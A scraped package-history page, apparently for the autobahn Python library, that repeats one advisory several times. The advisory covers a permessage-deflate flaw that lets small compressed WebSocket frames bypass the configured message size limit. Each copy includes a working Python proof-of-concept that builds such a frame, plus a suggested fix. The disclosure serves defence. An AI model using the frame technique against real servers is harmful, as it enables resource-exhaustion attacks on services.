+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Mar 18, 2019

19.2.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Feb 14, 2019

19.1.2 patch

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jan 19, 2019

19.1.1 major

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
